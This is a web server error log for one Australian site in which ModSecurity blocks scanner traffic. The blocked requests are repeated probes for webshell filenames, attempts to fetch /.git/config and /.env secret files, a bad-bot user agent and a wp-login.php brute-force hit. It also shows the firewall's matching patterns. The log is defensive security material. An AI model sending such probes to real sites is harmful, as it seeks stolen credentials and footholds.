[Tue Dec 09 20:33:07.617780 2025] [:error] [pid 30591:tid 30602] [client 4.190.219.177:62653] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rk2.php"] [unique_id "aTgXAxG-g76drVdWQUV6igAAAEg"]
[Tue Dec 09 20:33:08.375763 2025] [:error] [pid 30500:tid 30560] [client 4.190.219.177:59800] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xrp.php"] [unique_id "aTgXBK2eIIK3JPWHCXXhRAAAAYM"]
[Tue Dec 09 20:33:08.993679 2025] [:error] [pid 30591:tid 30599] [client 4.190.219.177:62612] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xrp.php"] [unique_id "aTgXBBG-g76drVdWQUV6jAAAAEU"]
[Tue Dec 09 20:33:09.460150 2025] [:error] [pid 36456:tid 36461] [client 4.190.219.177:59803] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xrp.php"] [unique_id "aTgXBR0pAnOyfXl_v40qjAAAAIM"]
[Tue Dec 09 20:33:09.928734 2025] [:error] [pid 5276:tid 5280] [client 4.190.219.177:61315] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xrp.php"] [unique_id "aTgXBUtSXwbewdwyu-1uAwAAAMI"]
[Tue Dec 09 20:33:10.928625 2025] [:error] [pid 30500:tid 30580] [client 4.190.219.177:10946] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/co.php"] [unique_id "aTgXBq2eIIK3JPWHCXXhRgAAAZc"]
[Tue Dec 09 20:33:11.432918 2025] [:error] [pid 30498:tid 30508] [client 4.190.219.177:10993] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/co.php"] [unique_id "aTgXBx2mcZJQ5qP_RC0y1AAAAAY"]
[Tue Dec 09 20:33:11.764855 2025] [:error] [pid 30500:tid 30576] [client 4.190.219.177:40519] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/co.php"] [unique_id "aTgXB62eIIK3JPWHCXXhSQAAAZM"]
[Tue Dec 09 20:33:12.026258 2025] [:error] [pid 30498:tid 30523] [client 4.190.219.177:61321] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/co.php"] [unique_id "aTgXCB2mcZJQ5qP_RC0y1QAAABU"]
[Tue Dec 09 20:33:12.426603 2025] [:error] [pid 30591:tid 30614] [client 4.190.219.177:57229] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aTgXCBG-g76drVdWQUV6lAAAAFQ"]
[Tue Dec 09 20:33:12.908423 2025] [:error] [pid 30499:tid 30536] [client 4.190.219.177:10353] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aTgXCE0x3OqZTOPp7cn06QAAAUY"]
[Tue Dec 09 20:33:13.221758 2025] [:error] [pid 30499:tid 30538] [client 4.190.219.177:40556] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aTgXCU0x3OqZTOPp7cn06wAAAUg"]
[Tue Dec 09 20:33:13.600289 2025] [:error] [pid 30498:tid 30516] [client 4.190.219.177:40533] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aTgXCR2mcZJQ5qP_RC0y1wAAAA4"]
[Tue Dec 09 20:33:14.007825 2025] [:error] [pid 30500:tid 30570] [client 4.190.219.177:10952] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file9.php"] [unique_id "aTgXCq2eIIK3JPWHCXXhTQAAAY0"]
[Tue Dec 09 20:33:14.373477 2025] [:error] [pid 36456:tid 36478] [client 4.190.219.177:40512] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file9.php"] [unique_id "aTgXCh0pAnOyfXl_v40qkgAAAJQ"]
[Tue Dec 09 20:33:14.805927 2025] [:error] [pid 30498:tid 30505] [client 4.190.219.177:59821] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file9.php"] [unique_id "aTgXCh2mcZJQ5qP_RC0y2AAAAAM"]
[Tue Dec 09 20:33:15.152258 2025] [:error] [pid 30498:tid 30506] [client 4.190.219.177:63245] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file9.php"] [unique_id "aTgXCx2mcZJQ5qP_RC0y2QAAAAQ"]
[Tue Dec 09 20:33:15.441046 2025] [:error] [pid 30500:tid 30578] [client 4.190.219.177:10343] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/re.php"] [unique_id "aTgXC62eIIK3JPWHCXXhUQAAAZU"]
[Tue Dec 09 20:33:16.113161 2025] [:error] [pid 30500:tid 30560] [client 4.190.219.177:61352] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/re.php"] [unique_id "aTgXDK2eIIK3JPWHCXXhUwAAAYM"]
[Tue Dec 09 20:33:16.468680 2025] [:error] [pid 30591:tid 30603] [client 4.190.219.177:62648] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/re.php"] [unique_id "aTgXDBG-g76drVdWQUV6ogAAAEk"]
[Tue Dec 09 20:33:16.824450 2025] [:error] [pid 30498:tid 30520] [client 4.190.219.177:10991] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/re.php"] [unique_id "aTgXDB2mcZJQ5qP_RC0y3AAAABI"]
[Tue Dec 09 20:33:17.154843 2025] [:error] [pid 30591:tid 30618] [client 4.190.219.177:65235] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nope.php"] [unique_id "aTgXDRG-g76drVdWQUV6pQAAAFg"]
[Tue Dec 09 20:33:17.442027 2025] [:error] [pid 30498:tid 30512] [client 4.190.219.177:10282] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nope.php"] [unique_id "aTgXDR2mcZJQ5qP_RC0y3wAAAAo"]
[Tue Dec 09 20:33:17.943629 2025] [:error] [pid 30500:tid 30559] [client 4.190.219.177:40562] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nope.php"] [unique_id "aTgXDa2eIIK3JPWHCXXhXAAAAYI"]
[Tue Dec 09 20:33:18.376154 2025] [:error] [pid 30498:tid 30510] [client 4.190.219.177:62595] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nope.php"] [unique_id "aTgXDh2mcZJQ5qP_RC0y4QAAAAg"]
[Tue Dec 09 20:33:18.750987 2025] [:error] [pid 30499:tid 30544] [client 4.190.219.177:62621] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pn.php"] [unique_id "aTgXDk0x3OqZTOPp7cn07wAAAU4"]
[Tue Dec 09 20:33:19.274376 2025] [:error] [pid 30498:tid 30519] [client 4.190.219.177:59806] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pn.php"] [unique_id "aTgXDx2mcZJQ5qP_RC0y4gAAABE"]
[Tue Dec 09 20:33:19.776671 2025] [:error] [pid 30498:tid 30511] [client 4.190.219.177:10984] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pn.php"] [unique_id "aTgXDx2mcZJQ5qP_RC0y4wAAAAk"]
[Tue Dec 09 20:33:20.187187 2025] [:error] [pid 30498:tid 30502] [client 4.190.219.177:40554] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pn.php"] [unique_id "aTgXEB2mcZJQ5qP_RC0y5QAAAAA"]
[Tue Dec 09 20:33:20.522712 2025] [:error] [pid 30499:tid 30550] [client 4.190.219.177:59807] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gm.php"] [unique_id "aTgXEE0x3OqZTOPp7cn08AAAAVQ"]
[Tue Dec 09 20:33:20.801437 2025] [:error] [pid 5276:tid 5291] [client 4.190.219.177:40547] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gm.php"] [unique_id "aTgXEEtSXwbewdwyu-1uDgAAAM0"]
[Tue Dec 09 20:33:21.235384 2025] [:error] [pid 30499:tid 30552] [client 4.190.219.177:10960] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gm.php"] [unique_id "aTgXEU0x3OqZTOPp7cn08QAAAVY"]
[Tue Dec 09 20:33:21.678052 2025] [:error] [pid 30499:tid 30540] [client 4.190.219.177:62642] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gm.php"] [unique_id "aTgXEU0x3OqZTOPp7cn08wAAAUo"]
[Tue Dec 09 20:33:22.001105 2025] [:error] [pid 30499:tid 30554] [client 4.190.219.177:10992] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/num.php"] [unique_id "aTgXEk0x3OqZTOPp7cn09AAAAVg"]
[Tue Dec 09 20:33:22.303369 2025] [:error] [pid 30500:tid 30565] [client 4.190.219.177:62604] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/num.php"] [unique_id "aTgXEq2eIIK3JPWHCXXhXwAAAYg"]
[Tue Dec 09 20:33:22.564618 2025] [:error] [pid 30499:tid 30548] [client 4.190.219.177:40543] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/num.php"] [unique_id "aTgXEk0x3OqZTOPp7cn0-AAAAVI"]
[Tue Dec 09 20:33:23.120388 2025] [:error] [pid 5276:tid 5278] [client 4.190.219.177:65236] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/num.php"] [unique_id "aTgXE0tSXwbewdwyu-1uEgAAAMA"]
[Tue Dec 09 20:33:23.519109 2025] [:error] [pid 30500:tid 30564] [client 4.190.219.177:11242] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kdrex.php"] [unique_id "aTgXE62eIIK3JPWHCXXhYwAAAYc"]
[Tue Dec 09 20:33:23.801165 2025] [:error] [pid 30499:tid 30542] [client 4.190.219.177:63234] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kdrex.php"] [unique_id "aTgXE00x3OqZTOPp7cn0_AAAAUw"]
[Tue Dec 09 20:33:24.197826 2025] [:error] [pid 30500:tid 30575] [client 4.190.219.177:64221] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kdrex.php"] [unique_id "aTgXFK2eIIK3JPWHCXXhZgAAAZI"]
[Tue Dec 09 20:33:24.610877 2025] [:error] [pid 30499:tid 30538] [client 4.190.219.177:62610] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kdrex.php"] [unique_id "aTgXFE0x3OqZTOPp7cn0_wAAAUg"]
[Tue Dec 09 20:33:25.051384 2025] [:error] [pid 30591:tid 30604] [client 4.190.219.177:62634] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/v.php"] [unique_id "aTgXFRG-g76drVdWQUV6wAAAAEo"]
[Tue Dec 09 20:33:25.377824 2025] [:error] [pid 30499:tid 30534] [client 4.190.219.177:57272] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/v.php"] [unique_id "aTgXFU0x3OqZTOPp7cn1AwAAAUQ"]
[Tue Dec 09 20:33:25.813846 2025] [:error] [pid 36456:tid 36464] [client 4.190.219.177:63238] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/v.php"] [unique_id "aTgXFR0pAnOyfXl_v40qngAAAIY"]
[Tue Dec 09 20:33:26.066688 2025] [:error] [pid 30500:tid 30557] [client 4.190.219.177:57226] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/v.php"] [unique_id "aTgXFq2eIIK3JPWHCXXhbAAAAYA"]
[Tue Dec 09 20:33:26.361960 2025] [:error] [pid 30591:tid 30601] [client 4.190.219.177:61344] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "aTgXFhG-g76drVdWQUV6wgAAAEc"]
[Tue Dec 09 20:33:26.655779 2025] [:error] [pid 5276:tid 5286] [client 4.190.219.177:62596] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "aTgXFktSXwbewdwyu-1uFQAAAMg"]
[Tue Dec 09 20:33:26.987367 2025] [:error] [pid 5276:tid 5289] [client 4.190.219.177:10970] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "aTgXFktSXwbewdwyu-1uFwAAAMs"]
[Tue Dec 09 20:33:27.275749 2025] [:error] [pid 36456:tid 36474] [client 4.190.219.177:57216] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "aTgXFx0pAnOyfXl_v40qoQAAAJA"]
[Tue Dec 09 21:15:14.411315 2025] [:error] [pid 30498:tid 30513] [client 45.148.10.250:34860] [client 45.148.10.250] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aTgg4h2mcZJQ5qP_RC1C-wAAAAs"]
[Wed Dec 10 01:30:46.974679 2025] [proxy_fcgi:error] [pid 2280:tid 2348] [client 145.239.10.137:60464] AH01071: Got error 'Primary script unknown', referer: http://agraphics.com.au/main.php
[Wed Dec 10 01:35:39.065163 2025] [:error] [pid 2366:tid 2372] [client 45.148.10.250:55080] [client 45.148.10.250] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/config"] [unique_id "aThd60AeBjkmsNRkd1NnJwAAAMQ"]
[Wed Dec 10 02:59:09.406672 2025] [:error] [pid 2366:tid 2382] [client 45.148.10.154:48606] [client 45.148.10.154] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aThxfUAeBjkmsNRkd1OfPAAAAM4"]
[Wed Dec 10 07:36:39.529344 2025] [:error] [pid 16566:tid 16583] [client 45.82.13.170:54302] [client 45.82.13.170] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env"] [unique_id "aTiyhyEgzB1153EFuAbZEQAAAU8"]
[Wed Dec 10 09:49:52.182348 2025] [:error] [pid 16596:tid 16611] [client 45.139.104.184:57652] [client 45.139.104.184] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env"] [unique_id "aTjRwHBe21fHOHH2RQo6RwAAAYs"]
[Thu Dec 11 01:19:58.787529 2025] [:error] [pid 42065:tid 42071] [client 185.112.59.5:61663] [client 185.112.59.5] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aTmrvvkj8kMSvqJobVUI2wAAAUQ"]
[Thu Dec 11 05:53:39.168911 2025] [:error] [pid 27459:tid 27477] [client 216.24.219.193:21771] [client 216.24.219.193] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.219.193, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aTnr41hPEXihPBKMpRN1BgAAARA"]
[Thu Dec 11 05:53:39.201625 2025] [proxy_fcgi:error] [pid 27459:tid 27477] [client 216.24.219.193:21771] AH01071: Got error 'Primary script unknown'
